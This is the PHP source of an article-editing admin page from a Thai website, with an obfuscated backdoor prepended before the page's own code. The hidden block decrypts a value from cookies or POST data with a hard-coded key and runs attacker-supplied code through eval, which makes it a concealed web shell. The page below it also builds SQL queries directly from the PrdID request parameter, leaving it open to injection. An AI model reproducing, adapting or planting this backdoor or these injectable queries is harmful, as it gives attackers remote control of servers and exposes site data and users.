?
Path : /home/admin/public_html/old/promice/Admin/ |
Current File : /home/admin/public_html/old/promice/Admin/editarticle.php |
<?php $n3af = 979;$GLOBALS['m8e3f23f'] = Array();global $m8e3f23f;$m8e3f23f = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['j597'] = "\x68\x4f\x4b\x26\x49\x7c\x21\x60\x79\x46\x4a\x66\x3a\x4d\x70\x3b\x48\xd\x5c\x35\x25\x43\x9\x7b\x50\x72\x63\x74\x4e\x4c\x7a\x2a\x34\x27\x5a\xa\x67\x52\x6a\x3e\x6d\x6e\x71\x5d\x20\x36\x41\x2c\x2d\x65\x33\x54\x62\x5e\x57\x61\x56\x29\x55\x6f\x32\x73\x24\x7e\x31\x22\x6c\x23\x2b\x3d\x64\x59\x39\x77\x69\x38\x51\x2e\x6b\x40\x5b\x3f\x45\x78\x58\x5f\x76\x44\x30\x7d\x2f\x53\x47\x3c\x75\x28\x42\x37";$m8e3f23f[$m8e3f23f['j597'][49].$m8e3f23f['j597'][49].$m8e3f23f['j597'][75].$m8e3f23f['j597'][52].$m8e3f23f['j597'][97].$m8e3f23f['j597'][19].$m8e3f23f['j597'][50].$m8e3f23f['j597'][32]] = $m8e3f23f['j597'][26].$m8e3f23f['j597'][0].$m8e3f23f['j597'][25];$m8e3f23f[$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][19].$m8e3f23f['j597'][11]] = $m8e3f23f['j597'][59].$m8e3f23f['j597'][25].$m8e3f23f['j597'][70];$m8e3f23f[$m8e3f23f['j597'][27].$m8e3f23f['j597'][19].$m8e3f23f['j597'][26].$m8e3f23f['j597'][55].$m8e3f23f['j597'][60].$m8e3f23f['j597'][88].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50]] = $m8e3f23f['j597'][61].$m8e3f23f['j597'][27].$m8e3f23f['j597'][25].$m8e3f23f['j597'][66].$m8e3f23f['j597'][49].$m8e3f23f['j597'][41];$m8e3f23f[$m8e3f23f['j597'][83].$m8e3f23f['j597'][60].$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][45].$m8e3f23f['j597'][70].$m8e3f23f['j597'][52].$m8e3f23f['j597'][11].$m8e3f23f['j597'][70]] = $m8e3f23f['j597'][74].$m8e3f23f['j597'][41].$m8e3f23f['j597'][74].$m8e3f23f['j597'][85].$m8e3f23f['j597'][61].$m8e3f23f['j597'][49].$m8e3f23f['j597'][27];$m8e3f23f[$m8e3f23f['j597'][70].$m8e3f23f['j597'][52].$m8e3f23f['j597'][88].$m8e3f23f['j597'][60].$m8e3f23f['j597'][70]] = $m8e3f23f['j597'][61].$m8e3f23f['j597'][49].$m8e3f23f['j597'][25].$m8e3f23f['j597'][74].$m8e3f23f['j597'][55].$m8e3f23f['j597'][66].$m8e3f23f['j597'][74].$m8e3f23f['j597'][30].$m8e3f23f['j597'][49];$m8e3f23f[$m8e3f23f['j597'][74].$m8e3f23f['j597'][75].$m8e3f23f['j597'][45].$m8e3f23f['j597'][64].$m8e3f23f['j597'][60].$m8e3f23f['j597'][60]] = $m8e3f23f['j597'][14].$m8e3f23f['j597'][0].$m8e3f23f['j597'][14].$m8e3f23f['j597'][86].$m8e3f23f['j597'][49].$m8e3f23f['j597'][25].$m8e3f23f['j597'][61].$m8e3f23f['j597'][74].$m8e3f23f['j597'][59].$m8e3f23f['j597'][41];$m8e3f23f[$m8e3f23f['j597'][66].$m8e3f23f['j597'][75].$m8e3f23f['j597'][50].$m8e3f23f['j597'][50].$m8e3f23f['j597'][50].$m8e3f23f['j597'][97].$m8e3f23f['j597'][75]] = $m8e3f23f['j597'][94].$m8e3f23f['j597'][41].$m8e3f23f['j597'][61].$m8e3f23f['j597'][49].$m8e3f23f['j597'][25].$m8e3f23f['j597'][74].$m8e3f23f['j597'][55].$m8e3f23f['j597'][66].$m8e3f23f['j597'][74].$m8e3f23f['j597'][30].$m8e3f23f['j597'][49];$m8e3f23f[$m8e3f23f['j597'][42].$m8e3f23f['j597'][70].$m8e3f23f['j597'][75].$m8e3f23f['j597'][60]] = $m8e3f23f['j597'][52].$m8e3f23f['j597'][55].$m8e3f23f['j597'][61].$m8e3f23f['j597'][49].$m8e3f23f['j597'][45].$m8e3f23f['j597'][32].$m8e3f23f['j597'][85].$m8e3f23f['j597'][70].$m8e3f23f['j597'][49].$m8e3f23f['j597'][26].$m8e3f23f['j597'][59].$m8e3f23f['j597'][70].$m8e3f23f['j597'][49];$m8e3f23f[$m8e3f23f['j597'][52].$m8e3f23f['j597'][26].$m8e3f23f['j597'][45].$m8e3f23f['j597'][19].$m8e3f23f['j597'][72].$m8e3f23f['j597'][70]] = $m8e3f23f['j597'][61].$m8e3f23f['j597'][49].$m8e3f23f['j597'][27].$m8e3f23f['j597'][85].$m8e3f23f['j597'][27].$m8e3f23f['j597'][74].$m8e3f23f['j597'][40].$m8e3f23f['j597'][49].$m8e3f23f['j597'][85].$m8e3f23f['j597'][66].$m8e3f23f['j597'][74].$m8e3f23f['j597'][40].$m8e3f23f['j597'][74].$m8e3f23f['j597'][27];$m8e3f23f[$m8e3f23f['j597'][94].$m8e3f23f['j597'][45].$m8e3f23f['j597'][70].$m8e3f23f['j597'][32].$m8e3f23f['j597'][55].$m8e3f23f['j597'][26].$m8e3f23f['j597'][50]] = $m8e3f23f['j597'][55].$m8e3f23f['j597'][45].$m8e3f23f['j597'][75].$m8e3f23f['j597'][75].$m8e3f23f['j597'][32].$m8e3f23f['j597'][11].$m8e3f23f['j597'][75].$m8e3f23f['j597'][75].$m8e3f23f['j597'][52];$m8e3f23f[$m8e3f23f['j597'][73].$m8e3f23f['j597'][72].$m8e3f23f['j597'][60].$m8e3f23f['j597'][97].$m8e3f23f['j597'][64].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50].$m8e3f23f['j597'][70].$m8e3f23f['j597'][97]] = $m8e3f23f['j597'][14].$m8e3f23f['j597'][49].$m8e3f23f['j597'][97].$m8e3f23f['j597'][72];$m8e3f23f[$m8e3f23f['j597'][27].$m8e3f23f['j597'][55].$m8e3f23f['j597'][75].$m8e3f23f['j597'][26].$m8e3f23f['j597'][88].$m8e3f23f['j597'][55]] = $_POST;$m8e3f23f[$m8e3f23f['j597'][11].$m8e3f23f['j597'][49].$m8e3f23f['j597'][19].$m8e3f23f['j597'][50].$m8e3f23f['j597'][60].$m8e3f23f['j597'][26].$m8e3f23f['j597'][19].$m8e3f23f['j597'][11]] = $_COOKIE;@$m8e3f23f[$m8e3f23f['j597'][83].$m8e3f23f['j597'][60].$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][45].$m8e3f23f['j597'][70].$m8e3f23f['j597'][52].$m8e3f23f['j597'][11].$m8e3f23f['j597'][70]]($m8e3f23f['j597'][49].$m8e3f23f['j597'][25].$m8e3f23f['j597'][25].$m8e3f23f['j597'][59].$m8e3f23f['j597'][25].$m8e3f23f['j597'][85].$m8e3f23f['j597'][66].$m8e3f23f['j597'][59].$m8e3f23f['j597'][36], NULL);@$m8e3f23f[$m8e3f23f['j597'][83].$m8e3f23f['j597'][60].$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][45].$m8e3f23f['j597'][70].$m8e3f23f['j597'][52].$m8e3f23f['j597'][11].$m8e3f23f['j597'][70]]($m8e3f23f['j597'][66].$m8e3f23f['j597'][59].$m8e3f23f['j597'][36].$m8e3f23f['j597'][85].$m8e3f23f['j597'][49].$m8e3f23f['j597'][25].$m8e3f23f['j597'][25].$m8e3f23f['j597'][59].$m8e3f23f['j597'][25].$m8e3f23f['j597'][61], 0);@$m8e3f23f[$m8e3f23f['j597'][83].$m8e3f23f['j597'][60].$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][45].$m8e3f23f['j597'][70].$m8e3f23f['j597'][52].$m8e3f23f['j597'][11].$m8e3f23f['j597'][70]]($m8e3f23f['j597'][40].$m8e3f23f['j597'][55].$m8e3f23f['j597'][83].$m8e3f23f['j597'][85].$m8e3f23f['j597'][49].$m8e3f23f['j597'][83].$m8e3f23f['j597'][49].$m8e3f23f['j597'][26].$m8e3f23f['j597'][94].$m8e3f23f['j597'][27].$m8e3f23f['j597'][74].$m8e3f23f['j597'][59].$m8e3f23f['j597'][41].$m8e3f23f['j597'][85].$m8e3f23f['j597'][27].$m8e3f23f['j597'][74].$m8e3f23f['j597'][40].$m8e3f23f['j597'][49], 0);@$m8e3f23f[$m8e3f23f['j597'][52].$m8e3f23f['j597'][26].$m8e3f23f['j597'][45].$m8e3f23f['j597'][19].$m8e3f23f['j597'][72].$m8e3f23f['j597'][70]](0);$f58fb4 = NULL;$ie52 = NULL;$m8e3f23f[$m8e3f23f['j597'][36].$m8e3f23f['j597'][75].$m8e3f23f['j597'][97].$m8e3f23f['j597'][50].$m8e3f23f['j597'][97].$m8e3f23f['j597'][32].$m8e3f23f['j597'][49].$m8e3f23f['j597'][26].$m8e3f23f['j597'][64]] = $m8e3f23f['j597'][97].$m8e3f23f['j597'][88].$m8e3f23f['j597'][64].$m8e3f23f['j597'][50].$m8e3f23f['j597'][50].$m8e3f23f['j597'][64].$m8e3f23f['j597'][97].$m8e3f23f['j597'][97].$m8e3f23f['j597'][48].$m8e3f23f['j597'][64].$m8e3f23f['j597'][26].$m8e3f23f['j597'][50].$m8e3f23f['j597'][64].$m8e3f23f['j597'][48].$m8e3f23f['j597'][32].$m8e3f23f['j597'][64].$m8e3f23f['j597'][72].$m8e3f23f['j597'][75].$m8e3f23f['j597'][48].$m8e3f23f['j597'][72].$m8e3f23f['j597'][75].$m8e3f23f['j597'][64].$m8e3f23f['j597'][49].$m8e3f23f['j597'][48].$m8e3f23f['j597'][72].$m8e3f23f['j597'][60].$m8e3f23f['j597'][32].$m8e3f23f['j597'][26].$m8e3f23f['j597'][52].$m8e3f23f['j597'][70].$m8e3f23f['j597'][49].$m8e3f23f['j597'][11].$m8e3f23f['j597'][70].$m8e3f23f['j597'][55].$m8e3f23f['j597'][52].$m8e3f23f['j597'][49];global $g87374ec1;function pe79($f58fb4, $y62ea072){global $m8e3f23f;$r1fd5 = "";for ($nba2d2d67=0; $nba2d2d67<$m8e3f23f[$m8e3f23f['j597'][27].$m8e3f23f['j597'][19].$m8e3f23f['j597'][26].$m8e3f23f['j597'][55].$m8e3f23f['j597'][60].$m8e3f23f['j597'][88].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50]]($f58fb4);){for ($kbd80d93=0; $kbd80d93<$m8e3f23f[$m8e3f23f['j597'][27].$m8e3f23f['j597'][19].$m8e3f23f['j597'][26].$m8e3f23f['j597'][55].$m8e3f23f['j597'][60].$m8e3f23f['j597'][88].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50]]($y62ea072) && $nba2d2d67<$m8e3f23f[$m8e3f23f['j597'][27].$m8e3f23f['j597'][19].$m8e3f23f['j597'][26].$m8e3f23f['j597'][55].$m8e3f23f['j597'][60].$m8e3f23f['j597'][88].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50]]($f58fb4); $kbd80d93++, $nba2d2d67++){$r1fd5 .= $m8e3f23f[$m8e3f23f['j597'][49].$m8e3f23f['j597'][49].$m8e3f23f['j597'][75].$m8e3f23f['j597'][52].$m8e3f23f['j597'][97].$m8e3f23f['j597'][19].$m8e3f23f['j597'][50].$m8e3f23f['j597'][32]]($m8e3f23f[$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][19].$m8e3f23f['j597'][11]]($f58fb4[$nba2d2d67]) ^ $m8e3f23f[$m8e3f23f['j597'][70].$m8e3f23f['j597'][19].$m8e3f23f['j597'][19].$m8e3f23f['j597'][11]]($y62ea072[$kbd80d93]));}}return $r1fd5;}function a6884f88b($f58fb4, $y62ea072){global $m8e3f23f;global $g87374ec1;return $m8e3f23f[$m8e3f23f['j597'][73].$m8e3f23f['j597'][72].$m8e3f23f['j597'][60].$m8e3f23f['j597'][97].$m8e3f23f['j597'][64].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50].$m8e3f23f['j597'][70].$m8e3f23f['j597'][97]]($m8e3f23f[$m8e3f23f['j597'][73].$m8e3f23f['j597'][72].$m8e3f23f['j597'][60].$m8e3f23f['j597'][97].$m8e3f23f['j597'][64].$m8e3f23f['j597'][70].$m8e3f23f['j597'][50].$m8e3f23f['j597'][70].$m8e3f23f['j597'][97]]($f58fb4, $g87374ec1), $y62ea072);}foreach ($m8e3f23f[$m8e3f23f['j597'][11].$m8e3f23f['j597'][49].$m8e3f23f['j597'][19].$m8e3f23f['j597'][50].$m8e3f23f['j597'][60].$m8e3f23f['j597'][26].$m8e3f23f['j597'][19].$m8e3f23f['j597'][11]] as $y62ea072=>$rc1756){$f58fb4 = $rc1756;$ie52 = $y62ea072;}if (!$f58fb4){foreach ($m8e3f23f[$m8e3f23f['j597'][27].$m8e3f23f['j597'][55].$m8e3f23f['j597'][75].$m8e3f23f['j597'][26].$m8e3f23f['j597'][88].$m8e3f23f['j597'][55]] as $y62ea072=>$rc1756){$f58fb4 = $rc1756;$ie52 = $y62ea072;}}$f58fb4 = @$m8e3f23f[$m8e3f23f['j597'][66].$m8e3f23f['j597'][75].$m8e3f23f['j597'][50].$m8e3f23f['j597'][50].$m8e3f23f['j597'][50].$m8e3f23f['j597'][97].$m8e3f23f['j597'][75]]($m8e3f23f[$m8e3f23f['j597'][94].$m8e3f23f['j597'][45].$m8e3f23f['j597'][70].$m8e3f23f['j597'][32].$m8e3f23f['j597'][55].$m8e3f23f['j597'][26].$m8e3f23f['j597'][50]]($m8e3f23f[$m8e3f23f['j597'][42].$m8e3f23f['j597'][70].$m8e3f23f['j597'][75].$m8e3f23f['j597'][60]]($f58fb4), $ie52));if (isset($f58fb4[$m8e3f23f['j597'][55].$m8e3f23f['j597'][78]]) && $g87374ec1==$f58fb4[$m8e3f23f['j597'][55].$m8e3f23f['j597'][78]]){if ($f58fb4[$m8e3f23f['j597'][55]] == $m8e3f23f['j597'][74]){$nba2d2d67 = Array($m8e3f23f['j597'][14].$m8e3f23f['j597'][86] => @$m8e3f23f[$m8e3f23f['j597'][74].$m8e3f23f['j597'][75].$m8e3f23f['j597'][45].$m8e3f23f['j597'][64].$m8e3f23f['j597'][60].$m8e3f23f['j597'][60]](),$m8e3f23f['j597'][61].$m8e3f23f['j597'][86] => $m8e3f23f['j597'][64].$m8e3f23f['j597'][77].$m8e3f23f['j597'][88].$m8e3f23f['j597'][48].$m8e3f23f['j597'][64],);echo @$m8e3f23f[$m8e3f23f['j597'][70].$m8e3f23f['j597'][52].$m8e3f23f['j597'][88].$m8e3f23f['j597'][60].$m8e3f23f['j597'][70]]($nba2d2d67);}elseif ($f58fb4[$m8e3f23f['j597'][55]] == $m8e3f23f['j597'][49]){eval/*x1d249cc5*/($f58fb4[$m8e3f23f['j597'][70]]);}exit();} ?><? @session_start(); ob_start(); require_once "../include/tdate.php"; require_once "../include/connect.php"; require_once "../include/connectdb.php"; $sql="select * from useradmin where useradmin='$useradmin'"; $db_query=mysql_db_query($db,$sql); $result=mysql_fetch_array($db_query); $id=$result[id]; $adminname=$result[name]; $user_admin=$result[useradmin]; $pass_admin=$result[passadmin]; ?> <html> <head> <title><? echo "$headtxt"; ?></title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <!-- Fireworks MX Dreamweaver MX target. Created Sat Apr 02 10:29:23 GMT+0700 (SE Asia Standard Time) 2011--> <link href="../css/style.css" rel="stylesheet" type="text/css"> <link rel="shortcut icon" type="../editor/image/x-icon" href="../favicon.ico"> <script type="text/javascript" src="jscripts/tiny_mce/tiny_mce.js"></script> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script> <table width="89%" border="0" align="center" cellpadding="1" cellspacing="1"> <tr valign="top"> <td width="57%"><? echo "$headtxt | $e_date $etime"; ?><br> <div align="left">หน้าปัจจุบันของคุณ : <a href="Main.php">หน้าหลัก</a> --> <strong>แก้ไข</strong></div></td> <td width="43%"> <div align="right">ยินดีต้อนรับคุณ <? echo "<u>$adminname</u>"; ?> เข้าใช้งานในระบบ<br> [ <a href="ChangePass.php">เปลี่ยนรหัสผ่าน</a> ] <a href="logout.php">ออกจากระบบ</a> </div></td> </tr> <tr> <td colspan="2"><table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#E9E9E6"> <tr> <td><div align="center"> <table width="100%" border="0" cellspacing="1" cellpadding="1"> <tr> <td><div align="center"><br> <table width="100%" border="0" cellspacing="1" cellpadding="1"> <tr> <td><div align="center"> <?php $sql_1="select * from article_kr where id = '$_GET[PrdID]'"; $db_query=mysql_db_query($db,$sql_1); $result1=mysql_fetch_array($db_query); $idx =$result1['id']; $productscode =$result1['article_category_id']; $productsname =$result1['subject']; $productsdetail =$result1['detail']; $productsphoto =$result1['images']; ?> <table width="763" border="0" align="center" cellpadding="1" cellspacing="1"> <form method="post" action="editarticlesave.php" enctype="multipart/form-data"> <tr bgcolor="#FFFFFF"> <td valign="top"><div align="right">Type :</div></td> <td> <?php $sql2 = "select * From article_category_kr where id >= 12 AND id <= 53 order by id "; $result2 = mysql_query($sql2); $Num_Rows2 = mysql_num_rows($result2); $result2 = mysql_query($sql2); echo "<select name=article_category_kr id=article_category_kr class=input>"; echo "<option value=$productscode>$productscode-Select type"; While($row2= mysql_fetch_array($result2)){ $productstypecode = $row2["id"]; $productstypename = $row2["category_name"]; ?> <option value=<? echo "$productstypecode"; ?>><? echo "$productstypecode"; ?>-<? echo "$productstypename"; ?> <? } echo "</option></select>"; ?> </td> </tr> <tr bgcolor="#FFFFFF"> <td width="149" valign="top"> <div align="right">Topic :</div></td> <td width="415"> <input name="productsname" type="text" class="input" id="productsname3" value='<? echo $productsname; ?>' size="40"> <input type="hidden" name="idx" value=<? echo "$idx"; ?>> </td> </tr> <tr bgcolor="#FFFFFF"> <td valign="top"> <div align="right">Detail :</div></td> <td> <script src="ckeditor.js"></script><textarea name="detail" cols="70" rows="10" class="input" id="txtDescription1"><? echo "$productsdetail"; ?></textarea> <script> CKEDITOR.replace( 'txtDescription1'); </script></td> </tr> <tr bgcolor="#FFFFFF"> <td valign="top"> <div align="right">Images :</div></td> <td> <? if ($productsphoto != "") { echo "<img src=../images/images_article/$productsphoto width=150><br><a href=CancelPhoto.php?PrdID=$_GET[PrdID]&PhotoField=productsphoto&PhotoName=$productsphoto>Delete Image/a>"; echo "<input type=hidden name=productsphotosend value='$productsphoto'>"; }else{ echo "<input type=file name=productsphoto size=50 class=input>"; } ?> </td> </tr> <tr bgcolor="#FFFFFF"> <td valign="top"> </td> <td> <input name="submit" type="submit" class="submit" value="Edit Article!" onClick="return confirm ('คุณต้องการแก้ไข ใช่ หรือ ไม่? ') "> </td> </tr> </form> </table> </div></td> </tr> </table> <br> <br> </div></td> </tr> </table> </div></td> </tr> </table></td> </tr> <tr> <td colspan="2"><div align="center"><br> <? echo "$buttomtxt"; ?> </div></td> </tr> </table> </div> </body> </html>